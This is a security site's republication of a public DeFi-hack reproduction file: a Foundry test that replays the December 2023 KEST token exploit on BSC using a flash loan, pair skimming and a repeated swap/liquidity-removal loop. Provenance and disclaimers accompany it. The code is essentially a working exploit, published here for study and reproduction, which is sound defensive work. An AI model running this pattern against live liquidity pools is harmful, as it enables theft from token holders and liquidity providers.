Skip to content
THREATWIRE

Public reproduction file

src/test/2023-12/KEST_exp.sol

Public reproduction file for dataset entry KEST.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-12/KEST_exp.sol126 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "./../basetest.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~$2.3K
8// Attacker : https://bscscan.com/address/0x90c4c1aa895a086215765ec9639431309633b198
9// Attack Contract : https://bscscan.com/address/0xc25979956d6f6acfc3702c68dff7a4d871eee4aa
10// Vulnerable Contract : https://bscscan.com/address/0x7dda132dd57b773a94e27c5caa97834a73510429
11// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x2fcee04e64e54f3dd9c15db9ae44e4cbdd57ab4c6f01941a3acf470dc60bfc16
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x7dda132dd57b773a94e27c5caa97834a73510429#code
16// @Analysis
17// Post-mortem :
18// Twitter Guy : https://x.com/MetaSec_xyz/status/1736077719849623718
19// Hacking God :
21contract KESTExploit is BaseTestWithBalanceLog {
22 ILendingPool private constant Radiant = ILendingPool(0xd50Cf00b6e600Dd036Ba8eF475677d816d6c4281);
23 Uni_Router_V2 private constant PancakeRouter = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
24 IERC20 private constant KEST = IERC20(0x7dda132dd57b773a94E27c5CAA97834A73510429);
25 IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
26 Uni_Pair_V2 private constant KEST_WBNB = Uni_Pair_V2(0x2D9fFa7ea5D1aAabA58e60168517b49F57E7f85b);
28 uint256 private constant flashAmount = 200e18;
29 uint256 private constant blocknumToForkFrom = 34_402_343;
31 function setUp() public {
32 vm.createSelectFork("bsc", blocknumToForkFrom);
33 vm.label(address(Radiant), "Radiant");
34 vm.label(address(PancakeRouter), "PancakeRouter");
35 vm.label(address(KEST), "KEST");
36 vm.label(address(WBNB), "WBNB");
37 vm.label(address(KEST_WBNB), "KEST_WBNB");
38 }
40 function testExploit() public {
41 emit log_named_decimal_uint(
42 "Exploiter WBNB balance before attack", WBNB.balanceOf(address(this)), WBNB.decimals()
43 );
45 address[] memory assets = new address[](1);
46 assets[0] = address(WBNB);
47 uint256[] memory amounts = new uint256[](1);
48 amounts[0] = flashAmount;
49 uint256[] memory modes = new uint256[](1);
50 modes[0] = 0;
51 Radiant.flashLoan(address(this), assets, amounts, modes, address(this), bytes(""), 0);
53 emit log_named_decimal_uint(
54 "Exploiter WBNB balance after attack", WBNB.balanceOf(address(this)), WBNB.decimals()
55 );
56 }
58 function executeOperation(
59 address[] calldata assets,
60 uint256[] calldata amounts,
61 uint256[] calldata premiums,
62 address initiator,
63 bytes calldata params
64 ) external returns (bool) {
65 WBNB.approve(address(PancakeRouter), type(uint256).max);
66 KEST.approve(address(PancakeRouter), type(uint256).max);
67 KEST_WBNB.approve(address(PancakeRouter), type(uint256).max);
69 WBNBToKEST(1e16);
70 (uint112 reserveKEST, uint112 reserveWBNB,) = KEST_WBNB.getReserves();
71 uint256 amountWBNBtoTransfer = PancakeRouter.quote(KEST.balanceOf(address(this)), reserveKEST, reserveWBNB);
72 WBNB.transfer(address(KEST_WBNB), amountWBNBtoTransfer);
73 KEST.transfer(address(KEST_WBNB), KEST.balanceOf(address(this)));
74 KEST_WBNB.mint(address(this));
76 uint256 i;
77 while (i < 9) {
78 WBNBToKEST(WBNB.balanceOf(address(this)));
79 uint256 cachedKESTBalance = KEST.balanceOf(address(this));
80 KEST.transfer(address(KEST_WBNB), cachedKESTBalance);
81 KEST_WBNB.skim(address(KEST_WBNB));
82 (reserveKEST, reserveWBNB,) = KEST_WBNB.getReserves();
83 uint256 amountIn = KEST.balanceOf(address(KEST_WBNB)) - reserveKEST;
84 uint256 amountOut = PancakeRouter.getAmountOut(amountIn, reserveKEST, reserveWBNB);
85 KEST_WBNB.swap(0, amountOut, address(this), bytes(""));
87 amountOut = (cachedKESTBalance * 75) / 100;
88 address[] memory path = new address[](2);
89 path[0] = address(WBNB);
90 path[1] = address(KEST);
91 PancakeRouter.swapTokensForExactTokens(
92 amountOut, WBNB.balanceOf(address(this)), path, address(PancakeRouter), block.timestamp + 1000
93 );
95 PancakeRouter.removeLiquidityETHSupportingFeeOnTransferTokens(
96 address(KEST), 1e15, 1, 1, address(this), block.timestamp + 1000
97 );
98 KESTToWBNB();
99 ++i;
100 }
101 WBNB.approve(address(Radiant), flashAmount + premiums[0]);
102 return true;
103 }
105 receive() external payable {}
107 function WBNBToKEST(
108 uint256 amount
109 ) private {
110 address[] memory path = new address[](2);
111 path[0] = address(WBNB);
112 path[1] = address(KEST);
113 PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
114 amount, 1, path, address(this), block.timestamp + 1000
115 );
116 }
118 function KESTToWBNB() private {
119 address[] memory path = new address[](2);
120 path[0] = address(KEST);
121 path[1] = address(WBNB);
122 PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
123 KEST.balanceOf(address(this)), 1, path, address(this), block.timestamp + 1000
124 );
125 }

Analysis

Dataset entry

Public Foundry test for “KEST” (2023-12-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x90c4c1aa895a086215765ec9639431309633b198

  • Attack Contract

    0xc25979956d6f6acfc3702c68dff7a4d871eee4aa

  • Vulnerable Contract

    0x7dda132dd57b773a94e27c5caa97834a73510429

  • Attack Tx

    0x2fcee04e64e54f3dd9c15db9ae44e4cbdd57ab4c6f01941a3acf470dc60bfc16

File record

Name
KEST
Path
src/test/2023-12/KEST_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8c70a819758a5a064f135d10ba0849c3037adbea
Language
Solidity
Size
127 lines
Date
2023-12-16
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-12/KEST_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8c70a819758a5a064f135d10ba0849c3037adbea, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.